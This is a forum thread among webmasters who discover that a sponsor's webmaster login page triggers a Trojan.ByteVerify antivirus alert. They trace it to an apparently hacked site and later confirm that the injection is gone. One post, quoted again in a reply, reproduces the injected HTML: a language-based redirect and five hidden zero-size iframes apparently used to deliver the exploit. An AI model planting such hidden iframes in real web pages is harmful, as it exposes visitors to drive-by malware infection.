Trojan in webmaster area???

[frankthetank]

Ever heard of a sponsor which uses trojans in his webmaster area?

I just cleaned my system and when I finished that, I visited some sponsors to check stats.

Once I went to a sponsor, I got a virus alert. Kind of trojan for java virtual machine.

Is it really the sponsor or could it be me, maybe I didn´t delete all those viruses before?

[swedguy]

Post the URL here and I'll check it out. Then we can rule out if it's your machine or not.

[frankthetank]

Post the URL here and I'll check it out. Then we can rule out if it's your machine or not.

http://www.dollars4babes.com/mpa2/webmasters/index.php

Just went again to the loginpage (I had cleaned the java runtime before) and got the virus alert again.

[swedguy]

Yep. I got it too.

Trojan.ByteVerify

[swedguy]

http://securityresponse.symantec.com/avcenter/venc/data/trojan.byteverify.html

Trojan.ByteVerify is a Trojan Horse that exploits the vulnerability described in Microsoft Security Bulletin MS03-011 and could provide a hacker the ability to run arbitrary code on an infected system.

[frankthetank]

Yep. I got it too.

Trojan.ByteVerify

Exactly that´s it. I don´t like that shit. Don´t know why this is done. or is it just an accident?

[Cleo]

It tries to tell me that I'm not Win32 compliant except that page is 404 on their server. LOL

[frankthetank]

It tries to tell me that I'm not Win32 compliant except that page is 404 on their server. LOL

I don´t think it´s funny at all. I just got listed with some freesites promoting them and if I send the surfer to trojans that won´t be good for the reputation of my sites.

On the other hand... :D

[Cleo]

It tries to load this page
http://aseger.info/

That page has this on it.
<html>
<script language="JavaScript">
if (navigator.browserLanguage == 'ru' || navigator.systemLanguage == 'ru' || navigator.userLanguage == 'ru') document.location = "home.html";
</script>
<iframe src="/index1.htm" width="0" height="0"></iframe>
<iframe src="/index2.htm" width="0" height="0"></iframe>
<iframe src="/index3.htm" width="0" height="0"></iframe>
<iframe src="/index5.htm" width="0" height="0"></iframe>
<iframe src="/index6.htm" width="0" height="0"></iframe>
</body>
</html>

I'm guessing that they have been hacked since it is all iframe crap and the whois is different then their domain. I'm on a Mac so none of this affects my computer.

[swedguy]

I just tried 6 of their hosted galleries and I get the same trojan warning there :(

[Ramster]

That's not good!!!!!

[frankthetank]

It tries to load this page
http://aseger.info/

That page has this on it.
<html>
<script language="JavaScript">
if (navigator.browserLanguage == 'ru' || navigator.systemLanguage == 'ru' || navigator.userLanguage == 'ru') document.location = "home.html";
</script>
<iframe src="/index1.htm" width="0" height="0"></iframe>
<iframe src="/index2.htm" width="0" height="0"></iframe>
<iframe src="/index3.htm" width="0" height="0"></iframe>
<iframe src="/index5.htm" width="0" height="0"></iframe>
<iframe src="/index6.htm" width="0" height="0"></iframe>
</body>
</html>

I'm guessing that they have been hacked since it is all iframe crap and the whois is different then their domain. I'm on a Mac so none of this affects my computer.

I loved my old Mac. Think to change again.

[frankthetank]

I sent them an e-mail and will wait until they reply.

[Cleo]

I loved my old Mac. Think to change again.
If you were on the old Mac Classic then you will be absolutely delighted by Mac OS X. :)

No virtues, no spywear, no worms, never crashes, and runs all the Adobe, Macromedia, and all the other lager software apps plus much of the Linux open source stuff link Gimp, Open Office, etc. :)

[cd34]

No virtues, no spywear, no worms, never

I always love OSes with no virtues. :)

[Cleo]

A operator error has accord. Replace operator and press any key.

[Useless]

No virtues, no spywear, no worms, never crashes, and runs all the Adobe, Macromedia, and all the other lager software apps plus much of the Linux open source stuff link Gimp, Open Office, etc. :)
I'm betting OS X smokes a lot of pot too.

[RawAlex]

That looks like the IFRAME stuff from our friend that keeps coming here offering 35 per 1000 installs. It's all crap. They install the small trojan to open the door, then they ram as much crap as possible through the open hole, hoping some of it stays in place.

I would HIGHLY recommend you remove all this sponsors hosted galleries and such from rotation at least temporarily until they get it fixed. It is truly an annoying thing.

Alex

[Cleo]

I'm betting OS X smokes a lot of pot too.
Mine dispenses two different types of intoxicating fluids when I get real creative on it.

Where did I put the bug powder…

[frankthetank]

That looks like the IFRAME stuff from our friend that keeps coming here offering 35 per 1000 installs. It's all crap. They install the small trojan to open the door, then they ram as much crap as possible through the open hole, hoping some of it stays in place.

I would HIGHLY recommend you remove all this sponsors hosted galleries and such from rotation at least temporarily until they get it fixed. It is truly an annoying thing.

Alex

I removed all galleries. Problem is the freesite thing. Can I change sponsors or do I risk getting banned?

On the other side installing trojans isn´t very nice.

Didn´t get a reply from the sponsor yet. Does anybody know if they are posting on gfy or so?

[Cleo]

Changing out your ads and keeping the same layout should not be a problem with your free sites. :)

[swedguy]

What was the deal with Dollars4Babes some time ago?

I remember looking into them and their doings a little closer. But I don't remember why.

[frankthetank]

Changing out your ads and keeping the same layout should not be a problem with your free sites. :)

OK, I´ll do it during the night. Thank´s. And I had a little look on the new Mac and the next machine I´ll replace will be replaced by a mac. Especially videoediting seems to be far better....

[frankthetank]

What was the deal with Dollars4Babes some time ago?

I remember looking into them and their doings a little closer. But I don't remember why.

They offer some sites with european models, especially UK and Czech. And one of their sites is "the mask", which gives the user the chance to appear as a performer.

[BlueQuartz]

thanks for the heads up

[GeorgeTH]

This post explains a lot - because I cleaned out my system yesterday mid morning (e.g. emptied the entire Java cache), and didn't do much afterwards - yet last night I suddenly had several trojans in the SUN JAVA folder... And I didn't even use IE afterwards, only Firefox = this is getting soooo frustrating with attacks from the web.

[frankthetank]

Does anybody know the program owner? i already sent two e-mails but didn´t get a reply yet.

[Ramster]

They are not still loading are they? (I haven't looked myself)

[Greenguy]

I'm with Ramster - I'm too scared to go look :D

[Cleo]

You all and your silly PeeCees. :D

I went and took a look and all the iframe stuff is gone from www.dollars4babes.com/mpa2/webmasters/index.php

[Greenguy]

Yup - gone for me too.

See, I knew there was a reason we had Cleo around here :D